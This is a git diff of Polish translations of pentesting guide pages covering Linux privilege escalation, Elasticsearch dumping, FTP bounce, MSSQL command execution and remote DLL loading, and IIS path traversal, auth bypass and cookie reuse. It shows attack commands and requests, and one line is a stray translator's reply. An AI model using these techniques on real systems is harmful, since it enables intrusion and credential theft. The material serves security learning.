uzyskać podwyższone uprawnienia, zastępując logi dowiązaniami symbolicznymi. +Ta luka jest bardzo podobna do [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(logi nginx),** więc za każdym razem, gdy stwierdzisz, że możesz zmieniać logi, sprawdź, kto zarządza tymi logami i sprawdź, czy możesz uzyskać podwyższone uprawnienia, zastępując logi dowiązaniami symbolicznymi. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) @@ -1346,7 +1346,7 @@ Jeśli, z jakiegokolwiek powodu, użytkownik jest w stanie **zapisać** skrypt ` Skrypty sieciowe, takie jak _ifcg-eth0_, są używane do połączeń sieciowych. Wyglądają dokładnie jak pliki .INI. Jednak są \~sourced\~ w systemie Linux przez Network Manager (dispatcher.d). -W moim przypadku atrybut `NAME=` w tych skryptach sieciowych nie jest obsługiwany poprawnie. Jeśli masz **białą/pustą przestrzeń w nazwie, system próbuje wykonać część po białej/pustej przestrzeni**. Oznacza to, że **wszystko po pierwszej pustej przestrzeni jest wykonywane jako root**. +W moim przypadku, atrybut `NAME=` w tych skryptach sieciowych nie jest obsługiwany poprawnie. Jeśli masz **białą/pustą przestrzeń w nazwie, system próbuje wykonać część po białej/pustej przestrzeni**. Oznacza to, że **wszystko po pierwszej pustej przestrzeni jest wykonywane jako root**. Na przykład: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1358,9 +1358,9 @@ DEVICE=eth0 Katalog `/etc/init.d` jest domem dla **skryptów** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuksie**. Zawiera skrypty do `start`, `stop`, `restart`, a czasami `reload` usług. Mogą być one wykonywane bezpośrednio lub przez linki symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywną ścieżką w systemach Redhat jest `/etc/rc.d/init.d`. -Z drugiej strony, `/etc/init` jest związany z **Upstart**, nowszym **systemem zarządzania usługami** wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zadań zarządzania usługami. Pomimo przejścia na Upstart, skrypty SysVinit są nadal wykorzystywane obok konfiguracji Upstart z powodu warstwy zgodności w Upstart. +Z drugiej strony, `/etc/init` jest związany z **Upstart**, nowszym **systemem zarządzania usługami** wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zadań zarządzania usługami. Pomimo przejścia na Upstart, skrypty SysVinit są nadal wykorzystywane obok konfiguracji Upstart z powodu warstwy kompatybilności w Upstart. -**systemd** pojawia się jako nowoczesny menedżer inicjalizacji i usług, oferujący zaawansowane funkcje, takie jak uruchamianie demonów na żądanie, zarządzanie automount i migawki stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych i `/etc/systemd/system/` dla modyfikacji administratora, upraszczając proces administracji systemem. +**systemd** pojawia się jako nowoczesny menedżer inicjalizacji i usług, oferujący zaawansowane funkcje, takie jak uruchamianie demonów na żądanie, zarządzanie automount i migawki stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych i `/etc/systemd/system/` dla modyfikacji administratora, usprawniając proces administracji systemem. ## Inne sztuczki @@ -1389,7 +1389,7 @@ cisco-vmanage.md ## Więcej pomocy -[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) +[Statyczne binaria impacket](https://github.com/ropnop/impacket_static_binaries) ## Narzędzia Privesc Linux/Unix @@ -1403,19 +1403,19 @@ cisco-vmanage.md **Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (fizyczny dostęp):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Kompilacja więcej skryptów**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Odniesienia -- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\ -- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\ -- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\ -- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\ -- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\ -- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\ -- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\ -- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\ +- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) +- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) +- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) +- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html) +- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827) +- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf) +- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation) +- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) - [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i) - [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/) - [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html) diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index 0007ee753..a09f1c469 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -39,7 +39,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -To oznacza, że uwierzytelnianie jest skonfigurowane i **potrzebujesz ważnych poświadczeń**, aby uzyskać jakiekolwiek informacje z elasticserach. Następnie możesz [**spróbować przeprowadzić atak brute force**](../generic-hacking/brute-force.md#elasticsearch) (używa HTTP basic auth, więc wszystko, co może przeprowadzić BF HTTP basic auth, może być użyte).\ +To oznacza, że uwierzytelnienie jest skonfigurowane i **potrzebujesz ważnych poświadczeń**, aby uzyskać jakiekolwiek informacje z elasticserach. Następnie możesz [**spróbować przeprowadzić atak brute force**](../generic-hacking/brute-force.md#elasticsearch) (używa HTTP basic auth, więc wszystko, co może przeprowadzić BF HTTP basic auth, może być użyte).\ Oto **lista domyślnych nazw użytkowników**: _**elastic** (superużytkownik), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Starsze wersje Elasticsearch mają domyślne hasło **changeme** dla tego użytkownika. ``` curl -X GET http://user:password@IP:9200/ @@ -114,11 +114,11 @@ _Poświęć chwilę, aby porównać zawartość każdego dokumentu (wpisu) w ind Na tym etapie możesz zauważyć, że **istnieje pole o nazwie "total" wewnątrz "hits"**, które wskazuje, że **znaleziono 1000 dokumentów** w tym indeksie, ale tylko 10 zostało zwróconych. Dzieje się tak, ponieważ **domyślnie istnieje limit 10 dokumentów**.\ Jednak teraz, gdy wiesz, że **ten indeks zawiera 1000 dokumentów**, możesz **zrzucić wszystkie z nich**, wskazując liczbę wpisów, które chcesz zrzucić w parametrze **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ -\&#xNAN;_Uwaga: Jeśli wskażesz większą liczbę, wszystkie wpisy zostaną zrzucane, na przykład możesz wskazać `size=9999`, a to będzie dziwne, jeśli byłoby więcej wpisów (ale powinieneś to sprawdzić)._ +\_Uwaga: Jeśli wskażesz większą liczbę, wszystkie wpisy i tak zostaną zrzucane, na przykład możesz wskazać `size=9999`, a to będzie dziwne, jeśli byłoby więcej wpisów (ale powinieneś to sprawdzić)._ ### Zrzut wszystkich -Aby zrzucić wszystko, możesz po prostu przejść do **tego samego adresu co wcześniej, ale bez wskazywania jakiegoś indeksu** `http://host:9200/_search?pretty=true` jak `http://10.10.10.115:9200/_search?pretty=true`\ +Aby zrzucić wszystko, możesz po prostu przejść do **tej samej ścieżki co wcześniej, ale bez wskazywania jakiegoś indeksu** `http://host:9200/_search?pretty=true` jak `http://10.10.10.115:9200/_search?pretty=true`\ Pamiętaj, że w tym przypadku zostanie zastosowany **domyślny limit 10** wyników. Możesz użyć parametru `size`, aby zrzucić **większą ilość wyników**. Przeczytaj poprzednią sekcję, aby uzyskać więcej informacji. ### Wyszukiwanie diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index 54d569bf6..6c75d2164 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -5,7 +5,7 @@ ## Podstawowe informacje **Protokół transferu plików (FTP)** służy jako standardowy protokół do transferu plików w sieci komputerowej między serwerem a klientem.\ -Jest to protokół **w formacie czystego tekstu**, który używa **znaku nowej linii `0x0d 0x0a`**, więc czasami musisz **połączyć się za pomocą `telnet`** lub **`nc -C`**. +Jest to protokół **w formacie tekstowym**, który używa **znaku nowej linii `0x0d 0x0a`**, więc czasami musisz **połączyć się za pomocą `telnet`** lub **`nc -C`**. **Domyślny port:** 21 ``` @@ -88,8 +88,8 @@ STAT ### Anonymous login _anonymous : anonymous_\ -\&#xNAN;_anonymous :_\ -\&#xNAN;_ftp : ftp_ +\_anonymous :_\ +\_ftp : ftp_ ```bash ftp >anonymous @@ -105,7 +105,7 @@ Tutaj znajdziesz ładną listę z domyślnymi danymi logowania FTP: [https://git ### Automated -Anonimowe logowanie i sprawdzenie bounce FTP są wykonywane domyślnie przez nmap z opcją **-sC** lub: +Anon login i bounce FTP checks są wykonywane domyślnie przez nmap z opcją **-sC** lub: ```bash nmap --script ftp-* -p 21 ``` @@ -131,7 +131,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`USER username`** - **`PASS password`** - **`HELP`** Serwer wskazuje, które komendy są obsługiwane -- **`PORT 127,0,0,1,0,80`** To wskaże serwerowi FTP, aby nawiązał połączenie z IP 127.0.0.1 na porcie 80 (_musisz ustawić 5. znak na "0" a 6. jako port w systemie dziesiętnym lub użyć 5. i 6. znaku, aby wyrazić port w systemie szesnastkowym_). +- **`PORT 127,0,0,1,0,80`** To wskaże serwerowi FTP, aby nawiązał połączenie z IP 127.0.0.1 na porcie 80 (_musisz ustawić 5. znak na "0" i 6. jako port w systemie dziesiętnym lub użyć 5. i 6. do wyrażenia portu w systemie szesnastkowym_). - **`EPRT |2|127.0.0.1|80|`** To wskaże serwerowi FTP, aby nawiązał połączenie TCP (_wskazane przez "2"_) z IP 127.0.0.1 na porcie 80. Ta komenda **obsługuje IPv6**. - **`LIST`** To wyśle listę plików w bieżącym folderze - **`LIST -R`** Lista rekurencyjna (jeśli dozwolone przez serwer) @@ -152,10 +152,10 @@ Niektóre serwery FTP pozwalają na komendę PORT. Ta komenda może być użyta [**Dowiedz się tutaj, jak nadużyć serwera FTP do skanowania portów.**](ftp-bounce-attack.md) -Możesz również nadużyć tego zachowania, aby sprawić, że serwer FTP będzie współdziałał z innymi protokołami. Możesz **przesłać plik zawierający żądanie HTTP** i sprawić, że podatny serwer FTP **wyśle je do dowolnego serwera HTTP** (_może, aby dodać nowego użytkownika administratora?_) lub nawet przesłać żądanie FTP i sprawić, że podatny serwer FTP pobierze plik z innego serwera FTP.\ +Możesz również nadużyć tego zachowania, aby sprawić, że serwer FTP będzie współdziałał z innymi protokołami. Możesz **przesłać plik zawierający żądanie HTTP** i sprawić, że podatny serwer FTP **wyśle je do dowolnego serwera HTTP** (_może, aby dodać nowego użytkownika admina?_) lub nawet przesłać żądanie FTP i sprawić, że podatny serwer FTP pobierze plik z innego serwera FTP.\ Teoria jest prosta: -1. **Prześlij żądanie (w pliku tekstowym) do podatnego serwera.** Pamiętaj, że jeśli chcesz rozmawiać z innym serwerem HTTP lub FTP, musisz zmieniać linie z `0x0d 0x0a` +1. **Prześlij żądanie (w pliku tekstowym) do podatnego serwera.** Pamiętaj, że jeśli chcesz rozmawiać z innym serwerem HTTP lub FTP, musisz zmienić linie na `0x0d 0x0a` 2. **Użyj `REST X`, aby uniknąć wysyłania znaków, których nie chcesz wysyłać** (może, aby przesłać żądanie w pliku, musiałeś dodać nagłówek obrazu na początku) 3. **Użyj `PORT`, aby połączyć się z dowolnym serwerem i usługą** 4. **Użyj `RETR`, aby wysłać zapisane żądanie do serwera.** diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index c33df468b..83391c236 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -6,7 +6,7 @@ Z [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): -> **Microsoft SQL Server** to system zarządzania **relacyjną bazą danych** opracowany przez Microsoft. Jako serwer baz danych, jest produktem oprogramowania, którego główną funkcją jest przechowywanie i pobieranie danych na żądanie innych aplikacji, które mogą działać na tym samym komputerze lub na innym komputerze w sieci (w tym w Internecie).\\ +> **Microsoft SQL Server** to system zarządzania **relacyjną bazą danych** opracowany przez Microsoft. Jako serwer baz danych jest produktem oprogramowania, którego główną funkcją jest przechowywanie i pobieranie danych na żądanie innych aplikacji, które mogą działać na tym samym komputerze lub na innym komputerze w sieci (w tym w Internecie). **Domyślny port:** 1433 ``` @@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config msf> use auxiliary/scanner/mssql/mssql_ping ``` > [!NOTE] -> Jeśli **nie masz** **poświadczeń**, możesz spróbować je odgadnąć. Możesz użyć nmap lub metasploit. Bądź ostrożny, możesz **zablokować konta**, jeśli kilkakrotnie nieudanie zalogujesz się przy użyciu istniejącej nazwy użytkownika. +> Jeśli **nie masz** **poświadczeń**, możesz spróbować je odgadnąć. Możesz użyć nmap lub metasploit. Uważaj, możesz **zablokować konta**, jeśli kilkakrotnie nieudanie zalogujesz się przy użyciu istniejącej nazwy użytkownika. #### Metasploit (potrzebne poświadczenia) ```bash @@ -129,7 +129,7 @@ enum_links #Use a link use_link [NAME] ``` -#### Pobierz użytkownika +#### Uzyskaj użytkownika {{#ref}} types-of-mssql-users.md @@ -153,7 +153,7 @@ order by name; EXEC sp_helpuser SELECT * FROM sysusers ``` -#### Uzyskiwanie uprawnień +#### Uzyskaj uprawnienia 1. **Securable:** Zdefiniowane jako zasoby zarządzane przez SQL Server w celu kontroli dostępu. Są one klasyfikowane na: - **Serwer** – Przykłady obejmują bazy danych, loginy, punkty końcowe, grupy dostępności i role serwera. @@ -162,7 +162,7 @@ SELECT * FROM sysusers 2. **Uprawnienie:** Powiązane z securables SQL Server, uprawnienia takie jak ALTER, CONTROL i CREATE mogą być przyznawane podmiotowi. Zarządzanie uprawnieniami odbywa się na dwóch poziomach: - **Poziom serwera** przy użyciu loginów - **Poziom bazy danych** przy użyciu użytkowników -3. **Podmiot:** Termin ten odnosi się do podmiotu, któremu przyznano uprawnienia do securable. Podmioty głównie obejmują loginy i użytkowników bazy danych. Kontrola dostępu do securables odbywa się poprzez przyznawanie lub odmawianie uprawnień lub poprzez włączanie loginów i użytkowników do ról wyposażonych w prawa dostępu. +3. **Podmiot:** Termin ten odnosi się do podmiotu, któremu przyznano uprawnienia do securable. Podmioty obejmują głównie loginy i użytkowników bazy danych. Kontrola dostępu do securables jest realizowana poprzez przyznawanie lub odmawianie uprawnień lub poprzez włączanie loginów i użytkowników do ról wyposażonych w prawa dostępu. ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); @@ -184,10 +184,10 @@ EXEC sp_helprotect 'xp_cmdshell' ``` ## Sztuczki -### Wykonywanie poleceń systemu operacyjnego +### Wykonywanie poleceń OS > [!OSTRZEŻENIE] -> Zauważ, że aby móc wykonywać polecenia, konieczne jest nie tylko **włączenie** **`xp_cmdshell`**, ale także posiadanie **uprawnienia EXECUTE do procedury składowej `xp_cmdshell`**. Możesz sprawdzić, kto (oprócz sysadminów) może używać **`xp_cmdshell`** za pomocą: +> Zauważ, że aby móc wykonywać polecenia, nie tylko konieczne jest, aby **`xp_cmdshell`** **było włączone**, ale także posiadanie **uprawnienia EXECUTE do procedury składowanej `xp_cmdshell`**. Możesz sprawdzić, kto (oprócz sysadminów) może używać **`xp_cmdshell`** za pomocą: > > ```sql > Use master @@ -321,7 +321,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w ``` ### **RCE/Odczyt plików wykonujących skrypty (Python i R)** -MSSQL może pozwolić na wykonanie **skryptów w Pythonie i/lub R**. Ten kod będzie wykonywany przez **innego użytkownika** niż ten używający **xp_cmdshell** do wykonywania poleceń. +MSSQL może pozwolić na wykonanie **skryptów w Pythonie i/lub R**. Ten kod będzie wykonywany przez **innego użytkownika** niż ten, który używa **xp_cmdshell** do wykonywania poleceń. Przykład próby wykonania **'R'** _"Hellow World!"_ **nie działa**: @@ -343,7 +343,7 @@ GO ``` ### Odczyt rejestru -Microsoft SQL Server oferuje **wiele rozszerzonych procedur składowanych**, które pozwalają na interakcję nie tylko z siecią, ale także z systemem plików, a nawet z [**Rejestrem Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** +Microsoft SQL Server oferuje **wiele rozszerzonych procedur składowanych**, które pozwalają na interakcję nie tylko z siecią, ale także z systemem plików, a nawet z [**rejestrem systemu Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** | **Zwykłe** | **Świadome instancji** | | --------------------------- | ------------------------------------ | @@ -368,7 +368,7 @@ EXEC sp_helprotect 'xp_regwrite'; ``` Dla **więcej przykładów** sprawdź [**oryginalne źródło**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). -### RCE z funkcją zdefiniowaną przez użytkownika MSSQL - SQLHttp +### RCE z użyciem funkcji zdefiniowanej przez użytkownika MSSQL - SQLHttp Możliwe jest **załadowanie pliku .NET dll w MSSQL za pomocą funkcji niestandardowych**. Wymaga to jednak **dostępu `dbo`**, więc potrzebujesz połączenia z bazą danych **jako `sa` lub rola Administratora**. @@ -376,11 +376,11 @@ Możliwe jest **załadowanie pliku .NET dll w MSSQL za pomocą funkcji niestanda ### RCE z `autoadmin_task_agents` -Zgodnie[ **z tym postem**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), możliwe jest również załadowanie zdalnego dll i sprawienie, aby MSSQL go wykonał za pomocą czegoś takiego: +Zgodnie z [**tym postem**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), możliwe jest również załadowanie zdalnego dll i sprawienie, aby MSSQL go wykonał za pomocą czegoś takiego: ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; ``` -Z: +Please provide the text you would like me to translate to Polish. ```csharp using Microsoft.SqlServer.SmartAdmin; using System; @@ -529,17 +529,19 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse ``` ## Używanie MSSQL do utrzymania +[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) + ## Ekstrakcja haseł z serwerów powiązanych SQL Server Atakujący może wyodrębnić hasła serwerów powiązanych SQL Server z instancji SQL i uzyskać je w postaci czystego tekstu, co daje atakującemu hasła, które mogą być użyte do zdobycia większej kontroli nad celem. Skrypt do ekstrakcji i deszyfrowania haseł przechowywanych dla serwerów powiązanych można znaleźć [tutaj](https://www.richardswinbank.net/admin/extract_linked_server_passwords) -Muszą być spełnione pewne wymagania i konfiguracje, aby ten exploit działał. Przede wszystkim musisz mieć prawa administratora na maszynie lub możliwość zarządzania konfiguracjami SQL Server. +Aby ten exploit działał, należy spełnić pewne wymagania i skonfigurować kilka rzeczy. Przede wszystkim musisz mieć prawa administratora na maszynie lub możliwość zarządzania konfiguracjami SQL Server. -Po zweryfikowaniu swoich uprawnień musisz skonfigurować trzy rzeczy, które są następujące: +Po zweryfikowaniu swoich uprawnień, musisz skonfigurować trzy rzeczy, które są następujące: -1. Włącz TCP/IP na instancjach SQL Server; -2. Dodaj parametr uruchamiania, w tym przypadku zostanie dodany znacznik śledzenia, który to -T7806. -3. Włącz zdalne połączenie administracyjne. +1. Włączyć TCP/IP na instancjach SQL Server; +2. Dodać parametr uruchamiania, w tym przypadku zostanie dodany znacznik śledzenia -T7806. +3. Włączyć zdalne połączenie administracyjne. Aby zautomatyzować te konfiguracje, [to repozytorium](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) zawiera potrzebne skrypty. Oprócz posiadania skryptu PowerShell dla każdego kroku konfiguracji, repozytorium zawiera również pełny skrypt, który łączy skrypty konfiguracyjne oraz ekstrakcję i deszyfrowanie haseł. @@ -550,7 +552,7 @@ Aby uzyskać więcej informacji, zapoznaj się z następującymi linkami dotycz ## Lokalna eskalacja uprawnień Użytkownik uruchamiający serwer MSSQL będzie miał włączony token uprawnień **SeImpersonatePrivilege.**\ -Prawdopodobnie będziesz mógł **eskalować do Administratora** postępując zgodnie z jednym z tych 2 dokumentów: +Prawdopodobnie będziesz mógł **eskalować do Administratora** korzystając z jednej z tych 2 stron: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -564,7 +566,7 @@ Prawdopodobnie będziesz mógł **eskalować do Administratora** postępując zg - `port:1433 !HTTP` -## Odniesienia +## Odnośniki - [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users) - [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/) diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index efbd5ae3e..870f56124 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Testowanie rozszerzeń plików wykonywalnych: +Testuj rozszerzenia plików wykonywalnych: - asp - aspx @@ -31,7 +31,7 @@ X-FEServer: NHEXCHANGE2016 Możesz przesyłać pliki .config i używać ich do wykonywania kodu. Jednym ze sposobów jest dodanie kodu na końcu pliku wewnątrz komentarza HTML: [Pobierz przykład tutaj](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) -Więcej informacji i technik wykorzystania tej podatności [tutaj](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) +Więcej informacji i technik dotyczących wykorzystania tej podatności [tutaj](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) ## Bruteforce odkrywania IIS @@ -61,7 +61,7 @@ Sprawdź pełny opis w: [https://blog.mindedsecurity.com/2018/10/from-path-trave > [!NOTE] > Podsumowując, w folderach aplikacji znajduje się kilka plików web.config z odniesieniami do plików "**assemblyIdentity**" i "**namespaces**". Dzięki tym informacjom możliwe jest ustalenie **gdzie znajdują się pliki wykonywalne** i ich pobranie.\ > Z **pobranych Dll** można również znaleźć **nowe przestrzenie nazw**, do których powinieneś spróbować uzyskać dostęp i pobrać plik web.config, aby znaleźć nowe przestrzenie nazw i assemblyIdentity.\ -> Ponadto pliki **connectionstrings.config** i **global.asax** mogą zawierać interesujące informacje.\\ +> Ponadto pliki **connectionstrings.config** i **global.asax** mogą zawierać interesujące informacje. W **aplikacjach .Net MVC** plik **web.config** odgrywa kluczową rolę, określając każdy plik binarny, na którym opiera się aplikacja, za pomocą tagów XML **"assemblyIdentity"**. @@ -88,7 +88,7 @@ Pliki znajdujące się w katalogu głównym, takie jak **/global.asax** i **/con ### **Przestrzenie nazw i Web.Config** -Aplikacje MVC definiują również dodatkowe **web.config files** dla konkretnych przestrzeni nazw, aby uniknąć powtarzalnych deklaracji w każdym pliku, co ilustruje żądanie pobrania innego **web.config**: +Aplikacje MVC definiują również dodatkowe **web.config files** dla specyficznych przestrzeni nazw, aby uniknąć powtarzalnych deklaracji w każdym pliku, co ilustruje żądanie pobrania innego **web.config**: ```markup GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded @@ -187,7 +187,7 @@ C:\xampp\tomcat\conf\server.xml Jeśli zobaczysz błąd podobny do poniższego: -![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) +![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) Oznacza to, że serwer **nie otrzymał poprawnej nazwy domeny** w nagłówku Host.\ Aby uzyskać dostęp do strony internetowej, możesz spojrzeć na serwowany **certyfikat SSL** i być może znajdziesz tam nazwę domeny/poddomeny. Jeśli jej tam nie ma, może być konieczne **brute force VHosts**, aż znajdziesz poprawną. @@ -209,7 +209,7 @@ Możesz również użyć **metasploit**: `use scanner/http/iis_shortname_scanner Dobrym pomysłem na **znalezienie ostatecznej nazwy** odkrytych plików jest **zapytanie LLMs** o opcje, jak to zrobiono w skrypcie [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) -### Bypass podstawowej autoryzacji +### Basic Authentication bypass **Obejdź** podstawową autoryzację (**IIS 7.5**) próbując uzyskać dostęp do: `/admin:$i30:$INDEX_ALLOCATION/admin.php` lub `/admin::$INDEX_ALLOCATION/admin.php` @@ -236,7 +236,7 @@ ASPXAUTH używa następujących informacji: - **`decryptionIV`** (string): wektor inicjalizacyjny zakodowany w hex (domyślnie wektor zerowy). - **`decryptionKey`** (string): klucz zakodowany w hex do użycia do deszyfrowania. -Jednak niektórzy ludzie będą używać **domyślnych wartości** tych parametrów i będą używać jako **ciasteczka e-maila użytkownika**. Dlatego, jeśli możesz znaleźć stronę internetową używającą **tej samej platformy**, która używa ciasteczka ASPXAUTH i **stworzysz użytkownika z e-mailem użytkownika, którego chcesz udawać** na serwerze pod atakiem, możesz być w stanie **użyć ciasteczka z drugiego serwera w pierwszym** i udawać użytkownika.\ +Jednak niektórzy ludzie będą używać **domyślnych wartości** tych parametrów i będą używać jako **ciasteczka adresu e-mail użytkownika**. Dlatego, jeśli możesz znaleźć stronę internetową używającą **tej samej platformy**, która korzysta z ciasteczka ASPXAUTH i **stworzysz użytkownika z adresem e-mail użytkownika, którego chcesz udawać** na serwerze pod atakiem, możesz być w stanie **użyć ciasteczka z drugiego serwera w pierwszym** i udawać użytkownika.\ Ten atak zadziałał w tym [**opisie**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19). ## IIS Authentication Bypass with cached passwords (CVE-2022-30209) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 6f4b076d2..c096cd8a5 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -2,11 +2,11 @@ {{#include ../../../banners/hacktricks-training.md}} -## Cookies common location: +## Typowe lokalizacje ciasteczek: -To jest również ważne dla ciasteczek 